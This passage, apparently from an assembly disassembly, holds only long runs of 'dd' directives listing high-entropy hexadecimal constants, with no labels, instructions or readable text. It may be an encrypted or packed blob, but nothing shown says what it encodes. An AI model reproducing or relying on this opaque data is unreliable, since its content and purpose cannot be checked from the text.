8A39FB28h, 0A00CF2CBh, 9834CC80h, 8412021h dd 0D1D2C92Fh, 0D1F0A5EDh, 0FB76B925h, 185B0B72h, 0BAF6B9CEh dd 411F85BFh, 23AA57C0h, 97020C7h, 0F10581F4h, 7DEF27F2h dd 7D56D6C2h, 65B1C1Bh, 705B78AFh, 0FAB52D92h, 9DD14C18h dd 42A34177h, 0FF7605DDh, 0DCE5DCBEh, 0ED41EE90h, 4900F0FDh dd 0FCBFD1F7h, 7344FD0h, 0F642AE98h, 0C9CF2524h, 501E710h dd 3464119h, 0F6622029h, 7CBF7570h, 0B1F242A8h, 0E1811D68h dd 0AD25FB0Bh, 0D1C1425Ah, 3895825Dh, 0C54043AAh, 87582299h dd 9BE50259h, 0D623FB13h, 0E07664D0h, 527C5B31h, 190D1031h dd 4B035ABEh, 642E8EB1h, 1B123F41h, 39AE76ACh, 507080A9h dd 0C1724911h, 0E9050BE5h, 22E4EB84h, 55534FA0h, 12685602h dd 0C17A3F69h, 80CE619Dh, 35058A21h, 0E8CABD7Dh, 43AC3695h dd 61754D00h, 0AC9817Bh, 79DE5FFFh, 7C843BBBh, 133538h dd 346E602Ah, 0E9CD1629h, 8A0549A7h, 88021381h, 66089454h dd 898112FEh, 0F660F4CBh dd 0FB0429B6h, 0E9182C17h, 119CDF16h, 3B432568h, 4A5BA0DCh dd 7666CBD5h, 0E1C30680h, 0E81C55C2h, 58A148B7h, 0C8769552h dd 0BC9AF62h, 0EDD4A3D7h, 0FE1000CDh, 0BFB252C8h, 87DE2C0h dd 0CF5C4030h, 0F238E068h, 8AF259DEh, 77F3BC27h, 0D305AA1Dh dd 0C6804A37h, 8EF2D68h, 0CDC3E957h, 0D92CAF26h, 2FD48908h dd 7E250456h, 0A8C28CEEh, 0CE003058h, 80C6FE59h, 0C72CDAF6h dd 4904F0E4h, 1AA048F5h, 0AB99D77Ah, 9EB4D627h, 0B005FB14h dd 0FE381075h, 0CEFA15C5h, 31D131DBh, 0AB73875Fh, 4D4A663Dh dd 8623C09Fh, 2C7831Bh, 532527D2h, 417244FEh, 0BF00585Eh dd 0C86338DDh, 0A00DCF76h, 5C16D91h, 0D7E907E7h, 6073A7B3h dd 95EF8107h, 3033F4E2h, 0E9BDFB31h, 0EBA80EE4h, 7D171768h dd 0C2FC0298h, 55483401h, 0F4142D79h, 250169E0h, 40774EB9h dd 4CDB3CE9h, 0A940576Ah, 0A65058D1h, 5955B04Ah, 481879B7h dd 0EE4708D2h, 25C113BBh, 0EF93D4A9h, 5327B99Bh, 0A7588574h dd 5C790B46h, 3A78CD87h, 0DE51ACA0h, 0C5F23180h, 64909C6Ch dd 0B1B9BC28h, 0BC04F7B6h, 540BF542h, 0D81CF7C5h, 0E6A6B027h dd 49A9F2E7h, 0B90927D1h, 0A08910EDh, 0FC9FA6F0h, 55E9D860h dd 9AA26B5Bh, 4030502h, 4A740901h, 0EB1C7F2Dh, 9892D4B5h dd 9DB3A4F8h, 5508858h, 306EC180h, 7DC15CA1h, 0A34A874Ah dd 4CAAD69Dh, 64E480DFh, 0E580A4ABh, 7E1FB753h, 0EF84DFF6h dd 4286C0BDh, 0B4500F10h, 41230BAh, 0EA5BFD5Ah, 4F2FC22Ch dd 863D8C78h, 2588AA40h, 2FDC5AF4h, 7EB42632h, 34025BC7h dd 0AC26CBBBh, 0A70D60F6h, 1F182D3Ah, 0D1A287F0h, 270B9408h dd 5625C9D4h, 5CA0507Bh, 51E1C180h, 5C6F008h, 0DD72C059h dd 3E7C7B36h, 0FCD2A22Ah, 0B54FEA7Ch, 0F8D3EAACh, 7CCD0496h dd 84FE03FFh, 120714C8h, 61084506h, 0D30B0C70h, 0FC4D7338h dd 35BC08BCh, 0A498050Eh, 84BA6F90h, 0E907023Fh, 3354D72Eh dd 0E202DC7Ah, 5D092354h, 0ED3E79C4h, 1EDF12AEh, 805B9A5h dd 0E96120EFh, 0A897D16Fh, 0FB09A7CDh, 70B18663h, 10EEEA47h dd 3F4C0FBEh, 0A76E2A5Bh, 7D3E6813h, 0E9B181E8h, 1AEC2A15h dd 79DBC03Dh, 39D03F32h, 64FF7986h, 17209464h, 0E673C1BAh dd 0C9962C6Bh, 8BA6271Bh, 58175D89h, 202DBA6h, 7BAFF8E9h dd 5F183D37h, 0EBC00A9Bh, 20682F7h, 62A2F380h, 7264FF20h dd 114B420Bh, 4C6BD51Dh, 67581131h, 6BCB7DE9h, 1B4C82F9h dd 681D0661h, 0A0284A6Dh, 0AB6C0DEh, 7B692DB9h, 2952DF01h dd 0C66E9F8h, 3AB4288Bh, 0C60AA255h, 0B0869811h, 0A8664E1Dh dd 74C84818h, 8B9F04Bh, 8BCCE987h, 3F713048h, 1548382h dd 4859D24Ch, 82EC0F48h, 0A89BF006h, 3C35BB04h, 0C3A84FEDh dd 34619F50h, 0FF340C3Eh, 5A084A10h, 708978BDh, 0E604C7F2h dd 23A16619h, 2F13F5BBh, 0C8C71244h, 0BBD02904h, 5381FD24h dd 0A32A812Bh, 3C381041h, 1F93B807h, 9541792Dh, 0CF49705Dh dd 34581775h, 79352F95h, 29D52DBBh, 612A5EE8h, 88091368h dd 0BCABBEBh, 6800C780h, 3AB551D7h, 0CE0CEDF0h, 0C9ABE0E9h dd 195C0FF5h, 0F464463Fh, 0F8E81EB1h, 1C30A12h, 101FC4BBh dd 2426B608h, 0D3098B60h, 0E8C43182h, 8FA71857h, 61BE2C5Dh dd 20CA6E1h, 20D13884h, 0C5CDE40h, 17C4F08h, 970820FDh dd 0CEC5ACCAh, 5FA4322Dh, 317F961Ah, 0FFFA36C0h, 0DD75072h dd 850042F8h, 0E2D12DEBh, 8302DAF7h, 4E901EAh, 0DEEEDFAAh dd 0DA5D5497h, 0FE20F64Eh, 23F09FA6h, 0A4DD28E3h, 76DFB9C2h dd 6BC52710h, 578A5D12h, 29CF324Ah, 200B0AF9h, 64FE2DBCh dd 9DC1F6E0h, 0BA75E112h, 0CBD6D66Dh, 2BF74C4Ah, 88E706B2h dd 99E527C5h, 59D32D1h, 93F9B760h, 5B60C107h, 45B16DE5h dd 0A4E9DB00h, 0A82E9DCCh, 1D8339E4h, 9E0BD6A8h, 0C0425778h dd 17BD557Ah, 710EE05h, 355DE9D2h, 8C2DEFC8h, 80B07F20h dd 1AEEF12Ch, 0BF0E2760h, 7E44495h, 5FFD314Dh, 33254668h dd 0F389EB25h, 0AC40097Fh, 7C97BAF5h, 0EF92D6Fh, 737DC240h dd 0FE795BF9h, 27089410h, 69B0795Bh, 6813D796h, 5B375990h dd 0E851A881h, 0EE6C9C89h, 0FDE4D254h, 0EEC0EAD4h, 26282BB5h dd 4404663h, 0C1D7D44Eh, 29ACFC1Fh, 472D00CEh, 0E3810F6Ch dd 0F52C1321h, 5BD80171h, 8230EE2Bh, 5C77900Ch, 0D77A002Fh dd 52CE1620h, 40169CA4h, 84097B9h, 1A992AE9h, 6688C1D8h dd 7EE59B35h, 0C8BEDFC4h, 0AE5DE9DDh, 39BE5F67h, 683148E7h dd 5E1CBA27h, 5C5B51D1h, 0CD403EF0h, 304C4F68h, 3C2BAEFh dd 814A1C00h, 0F6662CEFh, 6150BD21h, 5AF2114Dh, 0F5A704AEh dd 5EFDF852h, 0AD1638E6h, 0F787BC4Ch, 0C0B002F4h, 0A71B729h dd 0D49FD120h, 0F0039723h, 16BF508Fh, 51252072h, 8BF83017h dd 2B1239AEh, 0B2943AD8h, 68169536h, 0C557B526h, 0D606E43Fh dd 0C8915EC4h, 25D5685Ah, 99F9F5C2h, 2310574Bh, 1BEBF7Eh dd 0A22D8469h, 29BCAEFh, 0A145E3C3h, 68EDC119h, 0D3894AF9h dd 0D5E4D797h, 2D917D95h, 0BA28FBDBh, 0D62BC020h, 8F44AC26h dd 1267F6FFh, 98AFA7F9h, 190B686Bh, 63D3C29h, 3BDF931Eh dd 60AF5D54h, 774A097Fh, 218586EDh, 7BD5AD0h, 4954A712h dd 31D7F624h, 3FAD1C6Ah, 4AE22EE0h, 0B5745BDh, 447F9D81h dd 2E63A65Ah, 61DF47E2h, 251258E9h, 7A886D1Bh, 0CCC0BC4Bh dd 79C3805Bh, 94132C7Ch, 1A9640A6h, 4D1F17CBh, 0BD89D587h dd 95E8FCD6h, 5F25AC7Fh, 55201A52h, 4787305Ah, 3101C0A0h dd 0FDA60CDAh, 92388609h, 0D0FCF320h, 0D99DFF9Eh, 0F915EEC9h dd 0F1A43F98h, 88538799h, 5BFA22EFh, 2F4E6E5Fh, 1766465Dh dd 9F8357E6h, 1FAC54E4h, 2505F35Eh, 89ED71E8h, 83F35456h dd 7B54DEA7h, 0D703AE2Ah, 4A16E238h, 816170EBh, 1E12EAEBh dd 21EC4B9Eh, 5E8A9610h, 0BA52B600h, 4C194C64h, 9009D312h dd 27092239h, 0EBC6918Bh, 65B54320h, 0C7CFFE66h, 87F9477Dh dd 80D1605Bh, 527E2CC1h, 0F729CE7Ch, 9508815Ah, 70EB201Eh dd 1984B5B7h, 5B59B841h, 0B614CC8Ah, 0F0D6A196h, 0E74D61h dd 4C40BF57h, 0A85F1C30h, 1220125h, 0F9312189h, 57BDEE42h dd 7F8EA3E7h, 9EEF16C6h, 40B56273h, 4CE596h, 103CF12Dh dd 0E8282928h, 91840705h, 0BC838E5Ah, 0E46AB156h, 0E35E203Bh dd 737C071Eh, 72933A24h, 85C83089h, 4988D02Eh, 0C13B106Dh dd 0FD2A2641h, 0F38E651Dh, 321F266Fh, 6034050Ch, 4893F3Ah dd 0BFD0F7A3h, 9A8BA5C4h, 6C0AFB5Ah, 0BB8189CAh, 3CD149DEh dd 0B4A0AC20h, 5E8982CEh, 3ED804A9h, 0D65BA80Bh, 287A5C73h dd 0DCD04181h, 0D49F957Dh, 0B7DADF2h, 7282551Eh, 31030782h dd 9D8194CBh, 6E369B9Dh, 0FCF31692h, 0A860B9EBh, 92D695BEh dd 0C707AAA6h, 7E29DC48h, 2822CF4h, 72FE3AECh, 0FC411361h dd 68133F32h, 60603CB9h, 864B0Eh, 3DE051Ah, 502D333Eh dd 0FAA6123Ch, 8102B502h, 54E8832Eh, 282A0553h, 0E78B003Dh dd 43E00144h, 1464509Dh, 59A4DAE9h, 0B55E975Ah, 6982EF38h dd 116DDD2Dh, 9E8D325h, 4ACEE09Dh, 899F91F6h, 5BB4F7A4h dd 5DE25C2Dh, 664CF6A2h, 0F34AC442h, 0ADD4070Bh, 3F295902h dd 53D07F38h, 0DE585D34h, 0F8D20C1Fh, 0EB4BB08Bh, 0C9AB3734h dd 0F8B86FFFh, 0ED06D8Bh, 0D2B05009h, 8C6802FEh, 0C57D0BADh dd 2D044B24h, 0AEC61383h, 0AA3A95B0h, 38A26748h, 0FC7DC827h dd 47900CB1h, 0CC04EE53h dd 551DBD04h, 0B9F4BB87h, 454DD116h, 1A743B2Eh, 0C83D18C2h dd 0EE53525Fh, 56815C05h, 2EA088Ah, 34DF0BB0h, 0C8CB2941h dd 0E918A754h, 805EA6D9h, 822D48F6h, 1114862Dh, 64FC152Fh dd 52BF99B6h, 0BB4200FFh, 0C8723D6Ch, 0BE034FB2h, 97C60239h dd 5242A3h, 4D4EC369h, 0CB011251h, 883EE98h, 61301C04h dd 8EEB60E5h, 9853CBC9h, 80A70574h, 5E0BF701h, 46651E68h dd 7D10979Fh, 47D37667h, 49281EFEh, 19FD2A18h, 87A45850h dd 0BF8E090Fh, 34808259h, 5074117h, 0ED101D01h, 2A007806h dd 1A2D3815h, 567EA80Bh, 7A3C87Ch, 1B1150E5h, 22DD5925h dd 0FABB6ABDh, 78D23E11h, 38FC44CFh, 50E5CAAAh, 0C80B6035h dd 0D53144FEh, 570097C5h, 7C2E7E68h, 0F5F7D59h, 0F91C70F7h dd 0C76CE962h, 2C937774h, 0A5E08D1Fh, 0A4AF3E79h, 8F9AEE2h dd 58775EE9h, 580A8A1h, 1A6B1E62h, 75F58C18h, 0DF09F1C5h dd 7F0B6D60h, 0C33FF68Fh, 3DB64B3h, 1D7B1E79h, 0CD5E9A7Dh dd 415E0C2h, 2D9BAA53h, 0F220AE5Fh, 5BE95FFBh, 0F261FE4Ah dd 9C2636Eh, 125267FFh, 5DEBA0C2h, 0C1DAF199h, 1A358463h dd 22705040h, 0EE7C4860h, 13454813h, 1D8BCEh, 6E7CC7C3h dd 90F30142h, 0E9088085h, 9039AC8h, 0F52FDBAh, 0A801AC05h dd 5BE34B75h, 1C294DDDh, 320C8723h, 0E1B4097Eh, 0E70245E9h dd 585C4F5Ah, 96DD20D5h, 0BFB07DA6h, 80245DFEh, 2B40350Bh dd 0ED8AA4F0h, 5A0934A8h, 174CCA89h, 0E90AD0B6h, 30BBFA19h dd 1D28A241h, 0B83D64C0h, 2EB408Bh, 3E3FC873h, 5BF9C329h dd 186AB3BFh, 0EA2B2667h, 3C051EC6h, 4030D2DBh, 5E7CBA56h dd 0D2983E39h, 0E62BDD60h, 51022B68h, 0B2F7BE6Ah, 0A69EC005h dd 9098BD69h, 0C4820C29h, 641F202Ah, 8026B507h, 0E801CCF5h dd 8AF85259h, 93CDDDDFh, 0DEA6C7EBh, 0C6B504F3h, 38ECF56Ch dd 0AA5DCCA8h, 0C0D69DCEh, 8871EB81h, 0E2D60160h, 0F170D59Bh dd 52673EA2h, 38096805h, 9D10F8B3h, 0A2E45B6Ah, 13952D68h dd 87C9E754h, 71BBF11Ah, 7A64A507h, 9CDBF602h, 0DF57BC91h dd 5FD34100h, 0FFBC2055h, 5FF3F98Bh, 69F6BBECh, 0D82729B6h dd 1DD1B74Dh, 4AE0E970h, 1B1D8C85h, 0ED899F60h, 98287B6h dd 5DEB21B5h, 2824D955h, 68364004h, 153B1F31h, 0BD0007F9h dd 392E1E5Eh, 4D14DB2Eh, 504F4DCFh, 995A98BCh, 4D49BE28h dd 0D02F67BDh, 0C612DB5Bh, 0EDDA10FAh, 29177E10h, 0FF0F1F5Ch dd 9068C630h, 3BB23C42h, 1C46D325h, 50CBFE00h, 0CC809AB4h dd 0B6E92F1Ch, 305E7CC1h, 7B40373Ch, 0BD660E55h, 7931274h dd 9C507C1Bh, 223FB804h, 4A29AD05h, 93880394h, 0DF147567h dd 0E9176010h, 304708C4h, 0EA26C588h, 0F4FE5B70h, 681307EEh dd 77AA23D4h, 6D0D317h, 0C16E3B4Ch, 595BDE88h, 0C7F14E9Dh dd 8C01874Ch, 0F3995A35h, 5A6F3E6Ch, 2A4615Fh, 36B505AAh dd 0B7DA17E4h, 0FD2F4E6Dh, 2C2E0315h, 34BE5660h, 0A030279h dd 2161E957h, 0CAFE4A68h, 0FF53512Fh, 0AE453912h, 0B416153Fh dd 0AB5E4EEEh, 7FB17097h, 0C18F79FCh, 552FB90Ah, 0A581CA2Dh dd 2FD9F703h, 5AD24BD7h, 0A8BC6005h, 89C79791h, 0E9504926h dd 0C9D6BFA5h, 720C334Ah, 0BE056CDBh, 5B12A872h, 2A25FF13h dd 557F590Bh, 41F8E294h, 58D5829Dh, 4860F540h, 231FCE25h dd 0FDD32E96h, 5D41D0BFh, 33009D2Dh, 320552ABh, 9847EE7Dh dd 741F9E9h, 1245BB53h, 0B03096B1h, 56B59288h, 0F444C387h dd 3B0F9A3Bh, 0AD975452h, 4002A2DAh, 6AF807EAh, 0F5816E0Ch dd 4A520D03h, 2FEDBDBAh, 0C3FE6001h, 66313BE6h, 4177874Dh dd 0C8DFFAD2h, 7D3004E6h, 4ECB26F7h, 0B0599B7Ah, 652C4F90h dd 0EAA8B7FAh, 721E7C2Dh, 6488372Fh, 0BA0289Ah, 7F3F6BDDh dd 520145F4h, 0F9CDE955h, 0B093EC3Eh, 0F5019B1h, 0C0FE67B0h dd 0E8658F2Eh, 804FED07h, 0FCCF8047h, 0FED71CF6h, 48F9BBC7h dd 0F93F0CEFh, 0C55697F0h, 7C16E2D2h, 81DF5AB2h, 49407160h dd 3FC7CD70h, 5F6DA0Bh, 0A2BF3CFh, 0EDD08022h, 6560AA1Bh dd 3848FC64h, 0E618C074h, 0E927419Ch, 740B3F25h, 669756BEh dd 0FFC9D84h, 0BF2E5260h, 0BCE92C79h, 0B805BDC0h, 80086116h dd 6F25DE5h, 20E91F3Eh, 16BDBE4Ch, 0C1FB16CAh, 7AE08963h dd 0BBD247F6h, 0D3A8FEC1h, 82B7913Eh, 7B846A02h, 8016AD1Ah dd 0BC5E1A29h, 0E1AB06Bh, 716F3AC6h, 6411CDC0h, 70BD3989h dd 79B7097Ah, 26A488CAh, 0BB0CAA5Eh, 9BF8120h, 43300665h dd 50477D98h, 6E626190h, 5501BE0Eh, 313F80E6h, 0CE25BBCEh dd 58CBC3B4h, 0F8D7B57Fh, 7D23033Fh, 0A3BB0837h, 0B0EA8DF2h dd 8809BDBBh, 0FC03199Ch, 0E829E24Bh, 0B6A129F2h, 8100D64Ah dd 5F4BD4E1h, 3BCECF8h, 12756C08h, 7C680055h, 0E97E1551h dd 0A7D687F8h, 5E90CD0Bh, 9468075Ah, 145F094Dh, 26349826h dd 25996CB3h, 8A01A5Ch, 0A9DFD6C7h, 5D4EFF09h, 816E2DFAh dd 4463C243h, 0CE525720h, 87DCAB36h, 8CE4DEEEh, 0C6313084h dd 342A3609h, 3122F54Fh, 0BB0139C2h, 68DD22ADh, 0AE2A0025h dd 5E2B2904h, 0C05E9AE2h, 0B97C6C3Ah, 44D22D79h, 3D5A80EEh dd 6F76AD34h, 0B95E300h, 0D1E975C5h, 87FB9464h, 29787E06h dd 0E20910Eh, 0E7C12A55h, 0CAC0348h, 0E07B56E3h, 4E4EBAD5h dd 0B590E857h, 4E0C8004h, 61605EC7h, 4C21684Bh, 20203BD0h dd 4F5E50F0h, 0C88B0031h, 5986BA04h, 871927F8h, 1E513F12h dd 0C40B414Ah, 0C86C55A1h, 56638CF6h, 1A62AA67h, 2A986A15h dd 6F21DE55h, 3AF0AC89h, 0C46FA199h, 0D1CDAAE1h, 0D896E603h dd 2752D529h, 0DC58CA89h, 584B8EF6h, 662E33A7h, 0B7EA897Eh dd 54F17F49h, 1E9580E5h, 3400C8FEh, 0B75366FCh, 1DD70455h dd 3D2CF828h, 8513F048h, 0FC21541Bh, 8D014B1Eh, 6E94E15Ch dd 253868C7h, 6EB27672h, 97A36E97h, 0E463C8F4h, 8DEF85B5h dd 2B4BE93Ah, 7BFC3117h, 0E801E9F0h, 0CFB9C895h, 90CCFB6h dd 9779BC53h, 966E77A5h, 4AB70CE0h, 5BDF5EECh, 45558782h dd 0D893BE3Eh, 0B93C5384h, 0A8024ABBh, 4375ED2Dh, 62CBA8D5h dd 53509F63h, 2C134C18h, 92CCE9A2h, 785B50BCh, 0E7795FCAh dd 0C6EC5A44h, 0A2E2DE8Bh, 0D50BE375h, 5966AE40h, 0B756C330h dd 0E91A2436h, 760A28AEh, 0F085CFD5h, 78F3BE8Ah, 0C36ED79Fh dd 82FCB954h, 0AEC03239h, 3691B66Ah, 8F394FACh, 0E48B6856h dd 9182F9CFh, 31E70AA2h, 3EB71032h, 58283E8Ch, 0B5A7A177h dd 5B079273h, 0F28116FCh, 0CBAB98EBh, 2E60B16Bh, 0CDA191A8h dd 9E0728AEh, 51EDB11Dh, 285C09A3h, 0E2DA3BFDh, 8BD8C5A2h dd 508AF0B5h, 63D744FBh, 1DBCC852h, 31E5A44h, 5350B38Ah dd 1FD0AECCh, 4B9EE9DEh, 5A31FFC5h, 5D02C186h, 0CF18D77h dd 0C43AA23Ah, 0C7561C6Eh, 0C1D429Bh, 968BC500h, 0DD292509h dd 8C6982F9h, 0B2D0634h, 76833C4Fh, 57260945h, 0EDDDE905h dd 9F73F627h, 5D1C2E4Bh, 2CBA022Ch, 287F2797h, 680B086Ch dd 0C7F97C77h, 933EA8F9h, 0B58D3245h, 60803321h, 4D67B925h dd 123A356Bh, 5F4BA666h, 0D5FFC61Ah, 9F8C70Ah, 0EF2F3435h dd 0EDD8A01Ah, 2FB3F8B5h, 819853FFh, 40C2FD75h, 0E26AF780h dd 5E3241C6h, 0A794853Ah, 95C8BD7h, 0C6FD98AFh, 0C1B537E9h dd 80BA652Fh, 0D9F759D8h, 87BAEFFAh, 49AEFF5Bh, 9DE05F82h dd 3A0DF2CFh, 2A4F409Fh, 5E6A0B6Ah, 58B90B7Fh, 0ACFE033Dh dd 4DE93D99h, 0DE5B752Dh dd 0CE694F51h, 9500E4D7h, 548B6B76h, 0B0A69E58h, 58734051h dd 0B15E5248h, 0EAC9DD88h, 0F84EEB36h, 27533F93h, 418DE2E3h dd 0F7BED1ECh, 0A5B3A05Fh, 0DF2752BEh, 4127AA94h, 0D45D90D6h dd 9011E21Ah, 744FDCCh, 0A5CCACAAh, 0DF6FE7AFh, 8B59C8C5h dd 5AF48044h, 373C31FAh, 806E5749h, 307F3B20h, 175EDFD4h dd 8844A460h, 891E78E8h, 4B99D811h, 0AB883E43h, 8DFC0206h dd 0E182E99Dh, 68434976h, 173E9ECFh, 15D5455h, 0B00D6902h dd 65A02B1Ch, 40FD766h, 167E9733h, 0CB1112AEh, 9E85153Fh dd 89512E42h, 0BA77032Fh, 42E480FAh, 20C5B209h, 283C06CEh dd 0EE3017F5h, 5B64CFAFh, 80F2BC13h, 0F0095C8Eh, 282D52E6h dd 1FA2C7D8h, 0FED4AD36h, 0E646E985h, 74CA8D92h, 33D85ABBh dd 0AE92F16h, 93070DA9h, 0AF6EEC38h, 0FD52E089h, 0D44C570Ah dd 98B9F06h, 0E2B58050h, 9605997h, 725D681Eh, 856295D6h dd 0DBE20CD5h, 1D924E12h, 1664E04h, 1C6F2102h, 87A19960h dd 97C36880h, 206FE656h, 8084B151h, 200498C1h, 0F73FB67Fh dd 41EF15DAh, 9FBD0339h, 4F1C4B2Eh, 0C59220C6h, 7B0C4161h dd 98EA212Ch, 16418254h, 1AC2C0D9h, 7E967AF6h, 4CB569Dh dd 99F920BEh, 454321Ch, 0DE4947BAh, 2DA6AABDh, 738AE84Ah dd 0E706E22Ah, 6F7CD106h, 0E0608AE9h, 6B9D915Eh, 2D50AB7Eh dd 9C3B288h, 4E5A375Fh, 0C7EFC100h, 4BBFE6CAh, 52620696h dd 0C387746h, 8C4A5007h, 8C90125h, 0C340866h, 0E2681402h dd 0BC775975h, 0F07E3A84h, 7F67B36Eh, 0D3E9DD0Eh, 0A6AE1246h dd 0D0E98220h, 570FC809h, 8BC1C41Ch, 0CADBFE92h, 45B3E917h dd 0CB180186h, 0E98B61C1h, 0E82EB099h, 64ABC469h, 0C718CDA3h dd 8BEB6BB3h, 6DED2718h, 263E4D0Ch, 778BAh, 716CB8A9h dd 2C00B62Dh, 0D8296502h, 0C01AD2E9h, 2BB5C13Dh, 8B20106h dd 7C58F829h, 77BA5617h, 0AE8755DFh, 5486FA72h, 4FBB80D3h dd 293B9565h, 5ED1A49Fh, 0C3D419F2h, 0E94CAE02h, 1174B418h dd 12990E8Eh, 0F53EA2AFh, 5D80B082h, 4720A694h, 808658C8h dd 0B762CC2Dh, 0F6D8B51h, 0AA71122Fh, 0CF61D045h, 1B688361h dd 0A25B18CFh, 89554CD9h, 1971F57Dh, 0DB16F993h, 1280DDC4h dd 1C0678Dh, 4B94685Bh, 7A584DDAh, 25488880h, 0A26C03E0h dd 3D92E972h, 0FAA6BB85h, 29684D40h, 81FE2B0Fh, 0B239DCBEh dd 72A46E03h, 0A2D51F8h, 95C2A920h, 799D8878h, 5DE96385h dd 0BE56C301h, 70F12096h, 957E3DECh, 0B8BDCF73h, 9BAC05Bh dd 87074BC9h, 0B59F8FF1h, 4477A020h, 42D43D68h, 4B3ECD97h dd 0E202C16Eh, 81D0EDB6h, 0E9E1C60Fh, 0EE3778C8h, 6E5339D9h dd 0AD5F51CCh, 0F501024Fh, 0FD88A4E9h, 24501F1h, 0A5A4AD89h dd 3C820061h, 65E95BBEh, 0E6F57941h, 0F0B6A97Fh, 0D3CC2CE9h dd 43B50566h, 19B84442h, 3F97A313h, 154890FAh, 0B353590Eh dd 3D90A4F3h, 0EBE3465Ah, 3A078794h, 0C0150944h, 0B82337E3h dd 6C6448h, 7101193Fh, 5E9B951h, 3140B103h, 0D3CCC2CBh dd 5602DE40h, 0EA51B024h, 0C568ED02h, 0FE86803Ah, 0B75FFC61h dd 8816FFAh, 8C0F2E5Bh, 90BF97F7h, 1BE90373h, 0BF78549Ah dd 28FF6017h, 0F75A20AAh, 0D8F31E5Fh, 6C0B34EFh, 0F409E638h dd 0CAF01650h, 2060482Ch, 0EB5A4FCCh, 33165344h, 357941A3h dd 973C843Ah, 9578112Eh, 3B0C803Fh, 168F2A9h, 0BD56B7D6h dd 2C68170h, 73686A0Bh, 0BDA9F6E9h, 0FA2D6F74h, 426CBF11h dd 36877AA2h, 0E27095E9h, 1644B3Bh, 0A65557BEh, 0DC59DA4Eh dd 0AFEF1686h, 0B92E5BD9h, 0BBA8841Ch, 20D3BC13h, 0F5882499h dd 0FA855B07h, 68E9A2C8h, 9B4D54Eh, 0EA595684h, 12B08088h dd 7C0F015Ah, 2B18543Eh, 15ED3901h, 0F43A11EFh, 2D04D000h dd 2A43546Ah, 0B07B3BFh, 7227D768h, 9D954A86h, 92A02E21h dd 17819B50h, 0B113BFF0h, 552698F8h, 318E7098h, 0E71D12Fh dd 4D3C21D5h, 108060D8h, 51CE2D02h, 89E6E71Fh, 14C53EF5h dd 9CB10FEEh, 80399BA4h, 7648C58Ch, 0DE294013h, 0F585D00Bh dd 71B5ED6Ch, 31C2C4AAh, 89663FE2h, 0FDDD9517h, 25E6775Bh dd 0A54B1AAh, 0D509D412h, 92ED706h, 0C3649D61h, 0DDF1D82Fh dd 2DDB3517h, 1E2745BBh, 12D0216Ah, 0AAE93FBAh, 50C4B310h dd 221ECE52h, 5CD6662Eh, 0C12B71F1h, 3ED519ECh, 0D7443144h dd 1162F618h, 550F991Fh, 53C43616h, 916680FFh, 0C4908271h dd 0F220C300h, 0FBE97588h, 276E9D1Fh, 12AE680Eh, 815B40EFh dd 2D3078CBh, 1BDC1D83h, 0D042D196h, 0C2D3A905h, 2C2FF646h dd 0F6B27061h, 0C05B9CC0h, 0B8008EBh, 0D92823C3h, 5FA45A02h dd 966247F4h, 93E0D7C0h, 0D8A6842Bh, 0D69A27F0h, 0D69BC8BFh dd 4A999F3Ah, 1695A468h, 0E39480Ah, 34575CA5h, 84CEF81Fh dd 0BA0011C3h, 17263D2Eh, 29F6BF4h, 42CE31C9h, 20C3D07Dh dd 0B90480F5h, 0A4B2D7Bh, 8CD09AEh, 7DAFE173h, 1708A49Ah dd 2C140851h, 0BCF58107h, 5578220Fh, 7B047F5Eh, 0BA031299h dd 817F2DC8h, 983F3644h, 1B436A5Fh, 0EEE95405h, 0AE8B16A0h dd 0D88B4692h, 814A01D0h, 9F566ACAh, 0AEE2D822h, 2AE72012h dd 7CEAA190h, 0B9C0120Bh, 9BFCA52h, 760E685Ah, 8EB28D4Ch dd 0B5F26F68h, 3F6EC70Bh, 0FD3C6582h, 0DC36ABD5h, 1684A463h dd 75D6D14Dh, 31946FB4h, 0F5DE1FC2h, 3C59E280h, 759562AEh dd 0BF8A1984h, 0A6A21967h, 257E64F5h, 0B3063D4h, 81804B43h dd 32B63BE5h, 1A602CA6h, 0F7405207h, 0F42D3633h, 616AE23Ah dd 5EA08C1h, 3688EF05h, 53884F7Fh, 26C1F82Ch, 63AA175Eh dd 0C914DCBDh, 2FC48574h, 0F70570FDh, 0A8B259E6h, 7E090547h dd 76942286h, 1F5FBA0h, 0D064D978h, 9BC4E9h, 9C553868h dd 0A5F60D1h, 0E59F5EE2h, 0C2C11B43h, 0D71830CFh, 6ABCEE73h dd 202F069h, 7A3551EBh, 2FCA40E9h, 4BC979D7h, 0B6C997Fh dd 0ED534674h, 9789C4EDh, 0CE193E03h, 3706A48Bh, 56E6B509h dd 97A86A42h, 0FBB9529Dh, 0B84A3E8Bh, 8059D0A0h, 176808B9h dd 0E181024Ch, 0D8B2748h, 0DFFB44C8h, 41F3FC2Eh, 0FD772100h dd 98CD0131h, 590881DBh, 0F33C623Bh, 0EEC01B68h, 0C63D80F6h dd 8B72A7DDh, 20F26C24h, 0F880DAA2h, 0DD8295E1h, 0D1179A01h dd 51680Ah, 0CF03F4C7h, 4B04E944h, 76E09894h, 2608B559h dd 0BF02ACEBh, 0C20AB16Ch, 874DF7E1h, 0CFAE03ADh, 0C61D2785h dd 0B09790FAh, 0B30C8265h, 0AA560B40h, 294ACDEh, 0FC2F1C8Dh dd 0EA01B585h, 9C03B74h, 606958FAh, 0C729A008h, 0E924C462h dd 5E928454h, 52217A12h, 0CC3BA92Ch, 0C94F554Fh, 0F68433A9h dd 0C936ECBBh, 31F3C27Dh, 0D8D150EBh, 0C53FCE61h, 5B0261E3h dd 93AC6E31h, 9B2CEBE5h, 405843D8h, 7497F2B9h, 85CCA51h dd 8707BD57h, 0C28243DFh, 0B15D5E4Ah, 843FFCFAh, 96FEB0Ah dd 0AC416481h, 5721473Eh, 20158602h, 20B0C013h, 0E9DAC501h dd 633D9DB6h, 0E4245E00h, 63892511h, 0D17B7D01h, 0CAF0E9E0h dd 67CEAF88h, 2F74173Dh, 83872C35h, 0F5E002A5h, 4A0DFEBAh dd 1BCE0109h, 782E1070h, 3FA04AD3h, 0DE0BA2EAh, 2DA70F2h dd 0C17C939Dh, 0A7933CF1h, 452E0488h, 188D10B3h, 0E2E98E98h dd 0BB5F18EDh, 20B10C4Ah, 0AC9E33EAh, 24154824h, 93EE3BB5h dd 0F957B8F2h, 719F80BAh, 9790D728h, 0E866CA26h, 1202C46Ch dd 0BEE5FE93h, 0A03186E5h, 8E56052Bh, 0E431EF66h, 68101FEBh dd 0D4976B01h, 77E44F3h dd 0FED4585Bh, 0E9188C83h, 0DE3055BBh, 3B326407h, 395CC351h dd 6BB8314Fh, 